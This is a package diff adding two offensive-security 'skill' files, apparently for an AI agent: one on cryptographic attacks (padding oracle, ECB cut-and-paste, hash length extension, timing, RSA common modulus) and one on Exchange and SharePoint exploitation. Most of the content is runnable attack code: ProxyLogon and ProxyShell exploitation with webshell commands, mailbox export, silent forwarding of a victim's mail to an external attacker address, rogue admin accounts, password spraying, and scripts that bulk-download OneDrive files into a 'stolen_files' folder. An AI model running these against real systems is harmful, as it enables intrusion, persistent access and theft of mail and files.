rtexit-method 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,350 @@
1
+ ---
2
+ name: rt-crypto-attacks
3
+ description: "Cryptographic attack skill for authorized engagements. CBC padding oracle exploitation, ECB block manipulation and cut-paste attacks, hash length extension attacks, weak PRNG exploitation, timing attacks on authentication, MD5/SHA1 collision exploitation, RSA common modulus and small exponent attacks, and identifying custom/broken encryption schemes. Use when testing cryptographic implementations in web apps, APIs, or proprietary protocols."
4
+ ---
5
+
6
+ # rt-crypto-attacks — Cryptographic Vulnerability Exploitation
7
+
8
+ ## Overview
9
+
10
+ Cryptographic vulnerabilities arise from using broken algorithms, incorrect modes of operation, weak key generation, or flawed implementations. In web applications and APIs, these manifest as exploitable oracle attacks, forgeable tokens, and bypassable authentication.
11
+
12
+ ---
13
+
14
+ ## Attack 1 — CBC Padding Oracle
15
+
16
+ **Condition:** Application decrypts user-supplied ciphertext and returns different errors for padding failures vs decryption failures (even via timing differences).
17
+
18
+ **Impact:** Decrypt any ciphertext block-by-block without the key. Forge arbitrary ciphertext.
19
+
20
+ ```python
21
+ # Manual padding oracle concept
22
+ # CBC decryption: P[i] = D(C[i]) XOR C[i-1]
23
+ # Padding oracle: if we flip bytes in C[i-1], and server says "padding valid"
24
+ # → we can deduce D(C[i]) byte by byte
25
+
26
+ # Tool: PadBuster
27
+ padbuster https://target.com/profile?data=BASE64_ENCRYPTED_DATA BASE64_ENCRYPTED_DATA 8 \
28
+ -encoding 0 \
29
+ -error "Invalid padding"
30
+ # 8 = block size (AES = 16, DES = 8)
31
+
32
+ # Decrypt existing ciphertext
33
+ padbuster https://target.com/api BASE64_CIPHERTEXT 16 -encoding 2
34
+
35
+ # Forge new plaintext (e.g., change role=user to role=admin)
36
+ padbuster https://target.com/api BASE64_CIPHERTEXT 16 \
37
+ -encoding 2 \
38
+ -plaintext "role=admin&user=attacker"
39
+
40
+ # Tool: bit-flipper / padding-oracle-attack
41
+ pip3 install padding-oracle-attacker
42
+ python3 -m padding_oracle_attacker decrypt \
43
+ --url "https://target.com/api?token={}" \
44
+ --ciphertext "BASE64_TOKEN" \
45
+ --block-size 16 \
46
+ --error "Invalid token"
47
+ ```
48
+
49
+ **Detection in source code:**
50
+ ```python
51
+ # VULNERABLE — different exceptions leak oracle
52
+ try:
53
+ plaintext = cipher.decrypt(ciphertext)
54
+ except PaddingError:
55
+ return "Invalid padding" # ← ORACLE
56
+ except DecryptionError:
57
+ return "Decryption failed" # ← ORACLE (different response = oracle)
58
+
59
+ # SECURE — same response always
60
+ try:
61
+ plaintext = cipher.decrypt(ciphertext)
62
+ except Exception:
63
+ return "Invalid token" # Always same response
64
+ ```
65
+
66
+ ---
67
+
68
+ ## Attack 2 — ECB Block Manipulation (Cut & Paste)
69
+
70
+ **Condition:** Application uses AES-ECB mode (identical plaintext blocks → identical ciphertext blocks).
71
+
72
+ **Impact:** Rearrange, duplicate, or substitute encrypted blocks to forge arbitrary plaintexts.
73
+
74
+ ```python
75
+ # Detect ECB: send repeated plaintext, check for repeated blocks in ciphertext
76
+ import requests, base64
77
+
78
+ def detect_ecb(ciphertext_b64):
79
+ ct = base64.b64decode(ciphertext_b64)
80
+ blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
81
+ return len(blocks) != len(set(blocks)) # True = ECB detected
82
+
83
+ # Test: register with username "AAAAAAAAAAAAAAAA" (16 A's)
84
+ # If ciphertext has repeated 16-byte blocks → ECB mode
85
+
86
+ # ECB Cut-and-Paste Attack Example:
87
+ # Suppose encrypted cookie format: role=user&admin=false
88
+ # Block 1 (bytes 0-15): "role=user&admin="
89
+ # Block 2 (bytes 16-31): "false___________" (padded)
90
+
91
+ # Step 1: craft input to push "admin=true" to a clean block boundary
92
+ # Step 2: capture that block
93
+ # Step 3: substitute it into another session's cookie
94
+
95
+ # Automated with ecb-cpa tool
96
+ pip3 install ecb_cpa
97
+ python3 ecb_cpa.py --url "https://target.com/encrypt" \
98
+ --param "username" \
99
+ --target "admin=true"
100
+ ```
101
+
102
+ ---
103
+
104
+ ## Attack 3 — Hash Length Extension
105
+
106
+ **Condition:** `MAC = hash(secret + message)` — attacker knows hash and message length but not secret.
107
+
108
+ **Impact:** Append data to message and compute valid MAC without knowing the secret.
109
+
110
+ ```bash
111
+ # Tools
112
+ pip3 install hashpumpy
113
+ # Or: hashpump binary
114
+
115
+ # Example: API uses HMAC = MD5(secret + "user=alice")
116
+ # We know the hash and want to forge: "user=alice&admin=true"
117
+
118
+ python3 << 'EOF'
119
+ import hashpumpy
120
+
121
+ original_data = b"user=alice"
122
+ original_hash = "a3f8c2d1..." # known hash from response
123
+ secret_length = 16 # guess (try 8, 12, 16, 20, 24, 32)
124
+ data_to_append = b"&admin=true"
125
+
126
+ new_hash, new_data = hashpumpy.hashpump(
127
+ original_hash,
128
+ original_data,
129
+ data_to_append,
130
+ secret_length
131
+ )
132
+ print(f"New hash: {new_hash}")
133
+ print(f"New data: {new_data.hex()}")
134
+ # Send new_data as message + new_hash as MAC
135
+ EOF
136
+
137
+ # hashpump CLI
138
+ hashpump -s "KNOWN_HASH" -d "KNOWN_DATA" -a "&admin=true" -k 16
139
+ ```
140
+
141
+ ---
142
+
143
+ ## Attack 4 — Timing Attacks
144
+
145
+ **Condition:** Authentication comparison uses non-constant-time string comparison.
146
+
147
+ ```python
148
+ # Detection: measure response time for known-bad vs close-to-valid tokens
149
+ import requests, time, statistics
150
+
151
+ def measure_timing(token):
152
+ times = []
153
+ for _ in range(10):
154
+ start = time.perf_counter()
155
+ requests.get(f"https://target.com/api",
156
+ headers={"Authorization": f"Bearer {token}"})
157
+ times.append(time.perf_counter() - start)
158
+ return statistics.mean(times)
159
+
160
+ # Test tokens that differ at position 0, 1, 2...
161
+ # If correct first byte takes longer → timing leak
162
+ baseline = measure_timing("AAAAAAAAAAAAAAAA")
163
+ for byte in "0123456789abcdef":
164
+ t = measure_timing(byte + "AAAAAAAAAAAAAAA")
165
+ if t > baseline + 0.005: # 5ms difference
166
+ print(f"Correct first byte: {byte}")
167
+
168
+ # Tool: timing-attack
169
+ pip3 install timing-attack
170
+ timing-attack "https://target.com/api?token=PAYLOAD" --payload CHARSET
171
+ ```
172
+
173
+ ---
174
+
175
+ ## Attack 5 — Weak PRNG / Predictable Tokens
176
+
177
+ ```python
178
+ # Test for predictable tokens — collect multiple and analyze
179
+
180
+ import requests, time
181
+
182
+ tokens = []
183
+ for _ in range(20):
184
+ r = requests.get("https://target.com/reset-password?email=test@test.com")
185
+ # Extract token from email or response
186
+ tokens.append(extract_token(r))
187
+ time.sleep(0.1)
188
+
189
+ # Check for sequential tokens
190
+ if all(int(t, 16) == int(tokens[0], 16) + i for i, t in enumerate(tokens)):
191
+ print("SEQUENTIAL TOKENS DETECTED")
192
+
193
+ # Check for timestamp-based tokens
194
+ import hashlib
195
+ ts = int(time.time())
196
+ for delta in range(-5, 5):
197
+ candidate = hashlib.md5(str(ts + delta).encode()).hexdigest()
198
+ if candidate in tokens:
199
+ print(f"TIMESTAMP-BASED TOKEN: offset={delta}")
200
+
201
+ # Tool: OWASP TokenAnalyzer
202
+ # Tool: Burp Suite Sequencer (statistical analysis of token randomness)
203
+ ```
204
+
205
+ ---
206
+
207
+ ## Attack 6 — RSA Common Modulus Attack
208
+
209
+ ```bash
210
+ # If two RSA public keys share the same modulus (n) but different exponents (e1, e2)
211
+ # And the same message m is encrypted with both:
212
+ # C1 = m^e1 mod n, C2 = m^e2 mod n
213
+ # → Recover m using extended Euclidean algorithm
214
+
215
+ python3 << 'EOF'
216
+ from math import gcd
217
+
218
+ def extended_gcd(a, b):
219
+ if b == 0: return a, 1, 0
220
+ g, x, y = extended_gcd(b, a % b)
221
+ return g, y, x - (a // b) * y
222
+
223
+ def common_modulus_attack(n, e1, e2, c1, c2):
224
+ g, a, b = extended_gcd(e1, e2)
225
+ if g != 1: return None # gcd must be 1
226
+ if a < 0:
227
+ c1 = pow(c1, -1, n) # modular inverse
228
+ a = -a
229
+ if b < 0:
230
+ c2 = pow(c2, -1, n)
231
+ b = -b
232
+ return pow(c1, a, n) * pow(c2, b, n) % n
233
+
234
+ # Usage
235
+ n = int("MODULUS_HEX", 16)
236
+ e1 = 65537
237
+ e2 = 17
238
+ c1 = int("CIPHERTEXT_1_HEX", 16)
239
+ c2 = int("CIPHERTEXT_2_HEX", 16)
240
+ m = common_modulus_attack(n, e1, e2, c1, c2)
241
+ print(f"Recovered plaintext: {bytes.fromhex(hex(m)[2:])}")
242
+ EOF
243
+ ```
244
+
245
+ ---
246
+
247
+ ## Attack 7 — Identify Broken / Custom Encryption
248
+
249
+ ```bash
250
+ # Cipher identification
251
+ pip3 install pycipher hashid
252
+
253
+ # Identify hash type
254
+ hashid "5f4dcc3b5aa765d61d8327deb882cf99"
255
+ # Output: [+] MD5
256
+
257
+ # Check for ROT13 / Caesar / XOR
258
+ python3 -c "
259
+ import base64
260
+
261
+ data = 'VGhpcyBpcyBhIHRlc3Q=' # suspect encoded string
262
+ print('base64:', base64.b64decode(data))
263
+
264
+ # XOR with single byte
265
+ raw = bytes.fromhex('0a1b2c3d')
266
+ for key in range(256):
267
+ result = bytes([b ^ key for b in raw])
268
+ if all(32 <= b < 127 for b in result):
269
+ print(f'XOR key {key}: {result}')
270
+ "
271
+
272
+ # Frequency analysis (classical ciphers)
273
+ python3 << 'EOF'
274
+ from collections import Counter
275
+ cipher = "GUVF VF N GRFG"
276
+ freq = Counter(cipher.replace(' ', ''))
277
+ print("Most common:", freq.most_common(5))
278
+ # E is most common in English → map most common cipher char to E
279
+ # Try ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
280
+ EOF
281
+
282
+ # Tool: CyberChef (web) for automated identification
283
+ # Tool: dcode.fr for classical cipher identification
284
+ ```
285
+
286
+ ---
287
+
288
+ ## Attack 8 — MD5/SHA1 Collision Exploitation
289
+
290
+ ```bash
291
+ # MD5 collision: two different inputs with same hash
292
+ # shattered.io: SHA1 collision
293
+
294
+ # If app uses MD5 for file integrity or token deduplication:
295
+ # Download collision pair from https://www.mscs.dal.ca/~selinger/md5collision/
296
+
297
+ # Demonstrate: same MD5, different content
298
+ md5sum message1.bin message2.bin
299
+ # Both output same hash → integrity check bypassed
300
+
301
+ # SHA1 collision (shattered.io)
302
+ curl -o shattered-1.pdf https://shattered.io/static/shattered-1.pdf
303
+ curl -o shattered-2.pdf https://shattered.io/static/shattered-2.pdf
304
+ sha1sum shattered-1.pdf shattered-2.pdf
305
+ # Same SHA1 → demonstrates file signing bypass
306
+ ```
307
+
308
+ ---
309
+
310
+ ## Finding Documentation
311
+
312
+ ```
313
+ Finding: CBC Padding Oracle
314
+ Severity: HIGH (CVSS 7.5)
315
+ CWE: CWE-649 (Reliance on Obfuscation or Encryption without Integrity Check)
316
+ MITRE: T1600 (Weaken Encryption)
317
+
318
+ Evidence:
319
+ - Different HTTP responses for valid vs invalid padding
320
+ - Decrypted session token contents (demonstrate impact)
321
+ - Forged admin session token
322
+
323
+ Remediation:
324
+ - Use AES-GCM (authenticated encryption) instead of AES-CBC
325
+ - If CBC required: add HMAC-SHA256 authentication before decryption
326
+ - Ensure all decryption failures return identical responses
327
+ - Implement constant-time comparison for all token validation
328
+ ```
329
+
330
+ ---
331
+
332
+ ## Skill Levels
333
+
334
+ **BEGINNER:** Run padbuster/padding oracle tools, use hashid for hash identification, CyberChef for encoding analysis
335
+
336
+ **INTERMEDIATE:** ECB cut-and-paste attacks, hash length extension with hashpump, timing attack measurement
337
+
338
+ **ADVANCED:** Custom padding oracle scripts, RSA common modulus attack, weak PRNG prediction
339
+
340
+ **EXPERT:** Full cryptographic protocol analysis, custom cipher reverse engineering, side-channel exploitation
341
+
342
+ ---
343
+
344
+ ## References
345
+
346
+ - PadBuster: https://github.com/AonCyberLabs/PadBuster
347
+ - hashpumpy: https://github.com/bwall/HashPump
348
+ - CryptoHack (learning): https://cryptohack.org
349
+ - Cryptopals challenges: https://cryptopals.com
350
+ - MITRE T1600: https://attack.mitre.org/techniques/T1600/
@@ -0,0 +1,256 @@
1
+ ---
2
+ name: rt-exchange-sharepoint
3
+ description: "Microsoft Exchange and SharePoint exploitation skill for authorized engagements. Exchange Server privilege escalation (CVE-2021-26855 ProxyLogon, ProxyShell), OWA credential harvesting, Exchange SSRF chains, PowerShell Exchange abuse for email access, SharePoint SSRF and RCE, SharePoint sensitive data discovery, OneDrive enumeration via Graph API, and post-compromise email/file access. Use when Exchange or SharePoint servers are in scope."
4
+ ---
5
+
6
+ # rt-exchange-sharepoint — Exchange & SharePoint Exploitation
7
+
8
+ ## Overview
9
+
10
+ Exchange and SharePoint servers are high-value targets — they hold email, files, and often have privileged service accounts. On-premises Exchange has had critical RCE/SSRF vulnerabilities (ProxyLogon, ProxyShell) and SharePoint has frequent SSRF and deserialization issues.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Discovery & Enumeration
15
+
16
+ ```bash
17
+ # Find Exchange servers
18
+ nmap -sV -p 25,443,587,993,995,8443 TARGET_RANGE
19
+ # 25 = SMTP, 443 = OWA/ECP/EWS/ActiveSync
20
+
21
+ # Exchange version fingerprinting
22
+ curl -s -k -I "https://EXCHANGE_IP/owa/" | grep -i "X-OWA-Version\|Server"
23
+
24
+ # Check exposed endpoints
25
+ for endpoint in "/owa/" "/ecp/" "/ews/" "/autodiscover/" "/mapi/" "/oab/" "/rpc/" "/Microsoft-Server-ActiveSync"; do
26
+ code=$(curl -k -s -o /dev/null -w "%{http_code}" "https://EXCHANGE_IP$endpoint")
27
+ echo "$code $endpoint"
28
+ done
29
+
30
+ # Find SharePoint
31
+ nmap -sV -p 80,443,8080 TARGET_RANGE
32
+ curl -k -I "https://SHAREPOINT_IP/_layouts/15/start.aspx#/"
33
+ # X-SharePointHealthScore header = SharePoint
34
+
35
+ # SharePoint version
36
+ curl -k "https://SHAREPOINT_IP/_vti_pvt/service.cnf"
37
+ curl -k "https://SHAREPOINT_IP/_vti_bin/sites.asmx"
38
+ ```
39
+
40
+ ---
41
+
42
+ ## Phase 2 — ProxyLogon (CVE-2021-26855) — Exchange RCE
43
+
44
+ ```bash
45
+ # ProxyLogon: SSRF → authentication bypass → RCE
46
+ # Affects: Exchange 2013/2016/2019 before March 2021 patches
47
+ # Still found in environments that haven't patched
48
+
49
+ # Check vulnerability
50
+ curl -k -s "https://EXCHANGE_IP/ecp/y.js" \
51
+ -H "Cookie: X-BEResource=localhost~1942062522" | head -5
52
+ # "function" in response = PATCHED, error = VULNERABLE
53
+
54
+ # Exploit with publicly available PoC
55
+ git clone https://github.com/hausec/ProxyLogon
56
+ python3 proxylogon.py -t EXCHANGE_IP -e attacker@corp.com
57
+ # Drops webshell at: https://EXCHANGE_IP/owa/auth/shell.aspx
58
+
59
+ # Access webshell
60
+ curl -k "https://EXCHANGE_IP/owa/auth/shell.aspx?cmd=whoami"
61
+ # Output: NT AUTHORITY\SYSTEM
62
+ ```
63
+
64
+ ---
65
+
66
+ ## Phase 3 — ProxyShell (CVE-2021-34473/34523/31207) — Exchange RCE
67
+
68
+ ```bash
69
+ # ProxyShell: Three CVEs chained → unauthenticated RCE
70
+ # Affects: Exchange 2013/2016/2019 before July 2021 patches
71
+
72
+ # Check vulnerability
73
+ curl -k "https://EXCHANGE_IP/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
74
+ # 200 OK = potentially vulnerable
75
+
76
+ # Exploit
77
+ git clone https://github.com/dmaasland/proxyshell-poc
78
+ pip3 install requests
79
+ python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.com
80
+
81
+ # Or: Metasploit
82
+ use exploit/windows/http/exchange_proxyshell_rce
83
+ set RHOSTS EXCHANGE_IP
84
+ set EMAIL admin@corp.com
85
+ run
86
+ # → SYSTEM shell on Exchange server
87
+ ```
88
+
89
+ ---
90
+
91
+ ## Phase 4 — Exchange Post-Compromise
92
+
93
+ ```powershell
94
+ # After RCE or with Exchange admin credentials
95
+
96
+ # Dump all mailboxes (Exchange admin PowerShell)
97
+ Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn
98
+ Get-Mailbox -ResultSize Unlimited | Export-Mailbox -DeliveryFormat EML -DeliveryPath C:\Temp\Mailboxes\
99
+
100
+ # Search all mailboxes for keywords
101
+ Search-Mailbox -SearchQuery "password OR credential OR secret" -SearchDumpsterOnly $false -ResultSize Unlimited -TargetMailbox "admin@corp.com" -TargetFolder "SearchResults"
102
+
103
+ # Access specific user's mailbox (as Exchange admin)
104
+ # Exchange Web Services (EWS)
105
+ $cred = Get-Credential
106
+ $exchangeUrl = "https://EXCHANGE_IP/EWS/Exchange.asmx"
107
+ $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
108
+ $service.Credentials = $cred
109
+ $service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, "victim@corp.com")
110
+ $inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
111
+ $view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(50)
112
+ $inbox.FindItems($view) | Select-Object Subject, DateTimeReceived, From
113
+
114
+ # Forward all incoming email (persistence)
115
+ Set-Mailbox victim@corp.com -DeliverToMailboxAndForward $true -ForwardingSmtpAddress attacker@external.com
116
+ # All future emails silently forwarded to attacker
117
+
118
+ # Create new Exchange admin (persistence)
119
+ New-Mailbox -Name "IT Support" -Alias "itsupport" -UserPrincipalName "itsupport@corp.com" -Password (ConvertTo-SecureString "Password1!" -AsPlainText -Force)
120
+ Add-RoleGroupMember "Organization Management" -Member itsupport
121
+ ```
122
+
123
+ ---
124
+
125
+ ## Phase 5 — OWA Credential Harvesting
126
+
127
+ ```bash
128
+ # OWA (Outlook Web Access) — often internet-facing
129
+ # Password spray with domain credentials
130
+
131
+ # Spray OWA
132
+ python3 ruler.py --domain corp.com --users users.txt --password 'Summer2024!' spray --verbose
133
+ # github.com/sensepost/ruler
134
+
135
+ # Or with MailSniper
136
+ Import-Module MailSniper.ps1
137
+ Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
138
+ -ExchHostname mail.corp.com \
139
+ -UserList users.txt -Password 'Summer2024!'
140
+
141
+ # OWA GAL (Global Address List) enumeration — find all email addresses
142
+ Get-GlobalAddressList -AccessToken $token
143
+ # Returns all internal email addresses — useful for targeting
144
+ ```
145
+
146
+ ---
147
+
148
+ ## Phase 6 — SharePoint Exploitation
149
+
150
+ ```bash
151
+ # SharePoint SSRF (CVE-2019-0604 — old but still found)
152
+ curl -k "https://SHAREPOINT_IP/_layouts/15/Picker.aspx" \
153
+ -d "__VIEWSTATE=&__EVENTVALIDATION=&__EVENTTARGET=&__EVENTARGUMENT=&ctl00%24PlaceHolderMain%24queryControl%24txtQuerySearch=&ctl00%24PlaceHolderMain%24btnSearch=Search"
154
+
155
+ # CVE-2020-0932 SharePoint RCE (deserialization)
156
+ # Requires low-priv authenticated user
157
+ python3 sharepoint_rce.py --url https://SHAREPOINT_IP --user user@corp.com --password Password1
158
+
159
+ # SharePoint sensitive file discovery
160
+ # Search for password files, config files
161
+ curl -k "https://SHAREPOINT_IP/sites/IT/_api/search/query?querytext='password+filetype:xlsx+OR+filetype:docx'" \
162
+ -H "Accept: application/json"
163
+
164
+ # Download all files from SharePoint site
165
+ # Using SharePoint REST API
166
+ python3 << 'EOF'
167
+ import requests
168
+
169
+ base_url = "https://sharepoint.corp.com/sites/Internal"
170
+ session = requests.Session()
171
+ session.auth = ("user@corp.com", "Password1")
172
+
173
+ # Get all files in root
174
+ r = session.get(f"{base_url}/_api/web/GetFolderByServerRelativeUrl('/')/Files",
175
+ headers={"Accept": "application/json"})
176
+ for file in r.json()['value']:
177
+ print(file['Name'], file['ServerRelativeUrl'])
178
+ # Download each file
179
+ content = session.get(f"{base_url}/_api/web/GetFileByServerRelativeUrl('{file['ServerRelativeUrl']}')/$value")
180
+ open(file['Name'], 'wb').write(content.content)
181
+ EOF
182
+ ```
183
+
184
+ ---
185
+
186
+ ## Phase 7 — Microsoft Graph API (O365 SharePoint/OneDrive)
187
+
188
+ ```bash
189
+ # After obtaining OAuth token (from device code phishing, consent grant, etc.)
190
+ # Access all M365 data via Graph API
191
+
192
+ # List all SharePoint sites
193
+ curl "https://graph.microsoft.com/v1.0/sites?search=*" \
194
+ -H "Authorization: Bearer $TOKEN"
195
+
196
+ # Search SharePoint for sensitive keywords
197
+ curl "https://graph.microsoft.com/v1.0/search/query" \
198
+ -H "Authorization: Bearer $TOKEN" \
199
+ -H "Content-Type: application/json" \
200
+ -d '{
201
+ "requests": [{
202
+ "entityTypes": ["driveItem"],
203
+ "query": {"queryString": "password OR credentials OR secret"},
204
+ "fields": ["name","webUrl","lastModifiedDateTime"]
205
+ }]
206
+ }'
207
+
208
+ # Download OneDrive files
209
+ # Get user's OneDrive root
210
+ curl "https://graph.microsoft.com/v1.0/users/victim@corp.com/drive/root/children" \
211
+ -H "Authorization: Bearer $TOKEN"
212
+
213
+ # Download all files recursively
214
+ python3 << 'EOF'
215
+ import requests, os
216
+
217
+ token = "ACCESS_TOKEN"
218
+ headers = {"Authorization": f"Bearer {token}"}
219
+ base = "https://graph.microsoft.com/v1.0"
220
+
221
+ def download_folder(path, local_path):
222
+ r = requests.get(f"{base}{path}/children", headers=headers)
223
+ os.makedirs(local_path, exist_ok=True)
224
+ for item in r.json().get('value', []):
225
+ if 'folder' in item:
226
+ download_folder(f"/drives/{item['parentReference']['driveId']}/items/{item['id']}", f"{local_path}/{item['name']}")
227
+ else:
228
+ content = requests.get(item['@microsoft.graph.downloadUrl'])
229
+ open(f"{local_path}/{item['name']}", 'wb').write(content.content)
230
+ print(f"Downloaded: {item['name']}")
231
+
232
+ download_folder("/users/victim@corp.com/drive/root", "./stolen_files")
233
+ EOF
234
+ ```
235
+
236
+ ---
237
+
238
+ ## Skill Levels
239
+
240
+ **BEGINNER:** OWA password spray · SharePoint sensitive file discovery · Graph API email access
241
+
242
+ **INTERMEDIATE:** ProxyLogon/ProxyShell exploitation · EWS impersonation for mailbox access · SharePoint REST API enumeration
243
+
244
+ **ADVANCED:** Email forwarding persistence · Full mailbox export · CVE chaining for unauthenticated RCE
245
+
246
+ **EXPERT:** Exchange transport agent backdoor · SharePoint webpart backdoor · Hybrid Exchange → on-prem AD escalation
247
+
248
+ ---
249
+
250
+ ## References
251
+
252
+ - ProxyLogon: https://proxylogon.com
253
+ - ProxyShell: https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
254
+ - Ruler (Exchange): https://github.com/sensepost/ruler
255
+ - Graph API: https://docs.microsoft.com/en-us/graph/overview
256
+ - MITRE T1114: https://attack.mitre.org/techniques/T1114/